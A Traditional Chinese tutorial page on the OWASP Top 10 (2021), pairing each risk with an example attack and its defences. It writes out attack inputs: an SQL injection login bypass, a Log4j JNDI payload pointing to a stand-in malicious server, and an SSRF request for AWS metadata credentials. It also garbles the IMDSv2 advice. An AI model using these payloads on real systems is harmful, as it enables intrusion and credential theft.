跳至主要内容

OWASP TOP10 (2021)

OWASP(開放式 Web 應用程式安全專案,Open Web Application Security Project)每隔數年會發布 OWASP Top 10,列出全球最常見且最具危害性的 Web 應用程式安全風險。 最新的 OWASP Top 10(2021 版) 針對 Web 安全現狀進行更新,強調了 API 安全、軟體供應鏈安全、及現代開發流程中的新興風險。


A01: 權限控制失效(Broken Access Control)

案例:未驗證的 API 可讓攻擊者存取其他用戶的帳號

漏洞描述

某個網站的 API 允許用戶查詢個人資料,但未妥善驗證存取權限,例如:

GET /api/user/1234

用戶 ID 1234 對應的是目前登入的使用者,但攻擊者發現可以手動修改 ID,存取其他用戶的資料:

GET /api/user/5678

攻擊手法

攻擊者發送不同的 user_id,可能能夠存取 任何 用戶的個資,例如:

  • 其他用戶的電子郵件、住址、電話號碼
  • 更改其他用戶的密碼(若 API 沒有額外驗證)
  • 竄改帳戶餘額或權限

防禦手法

  • 在伺服器端檢查 使用者的 session,確保請求者只能查詢自己的資料
  • 使用 OAuth 或 JWT 來管理用戶身份與權限
  • 避免在 URL 直接暴露用戶 ID,改用 tokensession-based 機制

A02: 加密失敗(Cryptographic Failures)

案例:網站使用 HTTP 而非 HTTPS

漏洞描述

某網站仍使用 http://example.com,因此用戶登入時的帳號密碼會以明文傳輸,攻擊者可以透過 中間人攻擊(MITM) 竊取資訊。

攻擊手法

  • 攔截 Wi-Fi:攻擊者在公共 Wi-Fi(如咖啡廳)監聽封包,擷取登入資訊
  • DNS 欺騙:導引用戶到惡意網站,並攔截登入資訊

防禦手法

  • 強制使用 HTTPS(搭配 TLS 1.2/1.3)
  • 使用 HSTS(HTTP Strict Transport Security) 強制瀏覽器僅允許 HTTPS
  • 避免儲存敏感資訊,如密碼應以 bcryptPBKDF2 加密存儲

A03: SQL 注入與其他注入漏洞(Injection)

案例:網站登入表單未使用參數化查詢

漏洞描述

攻擊者在登入表單的 username 欄位輸入:

' OR 1=1 --

伺服器執行的 SQL 變成:

SELECT * FROM users WHERE username = '' OR 1=1 --' AND password = ''

這使得無論輸入的密碼為何,查詢條件都成立,攻擊者可以直接登入。

攻擊手法

  • SQL Injection:改變 SQL 查詢,繞過身份驗證或刪除資料庫資料
  • Blind SQL Injection:透過回應時間來推測資料庫內容

防禦手法

  • 使用參數化查詢(Prepared Statements)
  • 限制 SQL 權限,避免應用程式帳號擁有刪除或修改所有資料的權限
  • 使用 Web 應用程式防火牆(WAF) 來過濾惡意請求

A04: 不安全的設計(Insecure Design)

案例:購物網站未設計驗證流程

漏洞描述

某電商網站允許用戶直接透過 POST /api/checkout 來下單,沒有驗證是否已登入。

攻擊手法

攻擊者透過 curlPostman 直接發送請求:

curl -X POST "https://example.com/api/checkout" -d "item_id=123&quantity=5"

即使沒有登入,攻擊者仍可成功下單。

防禦手法

  • 在設計階段就納入身份驗證機制
  • 強制要求用戶先登入才能發送購物請求
  • 使用 API Gateway 限制未授權的請求

A05: 安全設定錯誤(Security Misconfiguration)

案例:開發環境的預設密碼未移除

漏洞描述

開發人員忘記移除預設管理員帳號:

username: admin
password: admin123

攻擊者透過簡單的嘗試就能取得系統管理權限。

攻擊手法

  • 暴力破解(Brute Force)
  • Google Dorking:在 Google 搜索 intitle:"index of /admin"

防禦手法

  • 在上線前刪除預設帳號與密碼
  • 定期進行安全審查
  • 關閉不必要的功能(如 debug mode

A06: 易受攻擊的元件(Vulnerable and Outdated Components)

案例:未更新的 Log4j 被攻擊

漏洞描述

某公司使用舊版的 Log4j 2.14.1,但該版本存在 RCE(遠端代碼執行)漏洞。

攻擊手法

攻擊者發送特製請求:

${jndi:ldap://malicious-server.com/exploit}

伺服器執行惡意代碼,使攻擊者取得控制權。

防禦手法

  • 定期更新第三方函式庫
  • 使用軟體成分分析工具(SCA) 監測依賴漏洞
  • 限制 JNDI 等高風險功能的使用

A07: 身分驗證與授權失敗(Identification and Authentication Failures)

案例:API Token 無效期

漏洞描述

某 API 允許用戶登入後取得 token,但 token 永不過期,攻擊者一旦竊取 token,就能永久使用。

攻擊手法

  • 攔截 Token(例如透過 MITM)
  • Token 重放攻擊(Replay Attack)

防禦手法

  • 設定Token 有效期
  • 使用 OAuth2 + Refresh Token
  • 強制 Token 綁定 IP 或裝置

A08: 軟體與資料完整性失敗(Software and Data Integrity Failures)

案例:SolarWinds 供應鏈攻擊

漏洞描述

SolarWinds 是一家網路監控公司,他們的軟體 Orion 受到供應鏈攻擊,駭客成功在其更新中植入惡意程式碼,導致 全球超過 18,000 家企業與政府機構 受到影響。

攻擊手法

  1. 供應鏈攻擊:攻擊者入侵 SolarWinds 的開發環境,植入惡意後門
  2. 偽造更新檔:企業 IT 團隊信任 SolarWinds,安裝帶有惡意程式碼的更新
  3. 遠端控制受害者系統:惡意軟體建立反向連線,讓攻擊者可以竊取資料或進一步發動攻擊

防禦手法

  • 軟體簽章驗證:所有更新應該使用 數位簽章,確保軟體未被篡改
  • 限制 CI/CD 權限:開發環境應設定 最低權限原則,避免內部帳號被入侵
  • 監測異常行為:企業應該監測軟體的異常網路行為,例如:
    • 軟體連接 不明 IP
    • 發送 敏感資料 至未知伺服器

A09: 安全記錄與監控失敗(Security Logging and Monitoring Failures)

案例:Uber 遭駭卻未及時發現

漏洞描述

在 2016 年,Uber 的開發人員 不小心 將 AWS 的 API 金鑰推送到 GitHub。駭客發現後,利用該金鑰存取 Uber 的伺服器,竊取了 5,700 萬名用戶與司機的個資

問題在於 Uber 沒有及時偵測到 此異常行為,直到數個月後才發現攻擊。

攻擊手法

  • GitHub 洩露密鑰:駭客掃描公開的 GitHub repo,尋找 API 金鑰
  • 無監控機制:Uber 沒有 即時監控 登入 AWS 伺服器的異常行為
  • 未記錄 API 請求:攻擊者不斷存取用戶資料,但 Uber 沒有發現可疑請求

防禦手法

  • 實施 SIEM(安全事件管理系統),監測異常行為:
    • 例如 AWS 伺服器的異常存取警告
  • 使用 GitHub 祕密掃描工具,自動檢查是否有 API 金鑰洩露
  • 開啟警報機制:當用戶資料被大量存取時,應立即通知管理員

A10: 伺服端請求偽造(SSRF, Server-Side Request Forgery)

案例:攻擊 AWS Metadata Service

漏洞描述

某網站允許用戶輸入 URL 來抓取圖片:

GET /fetch?url=http://example.com/image.jpg

但是,攻擊者輸入:

GET /fetch?url=http://169.254.169.254/latest/meta-data/

這是 AWS EC2 伺服器的 Metadata Service,會回應:

IAM Role: Admin
AWS Access Key: AKIA**********

攻擊者可以利用這個金鑰 存取 AWS 伺服器,甚至刪除伺服器上的所有資料。

攻擊手法

  • 內部網路探測:透過 SSRF,攻擊者可存取公司內部 API 或資料庫
  • 讀取機密資訊:例如 AWS、GCP、Azure 的 Metadata Service
  • 利用 SSRF 作為跳板:對內部系統發動進一步攻擊

防禦手法

  • 封鎖內部 IP 存取(例如 169.254.169.254
  • 使用 URL 允許清單(Allowlist),只允許存取可信網站
  • 關閉 Metadata Service(IMDSv2),防止 AWS 伺服器被 SSRF 利用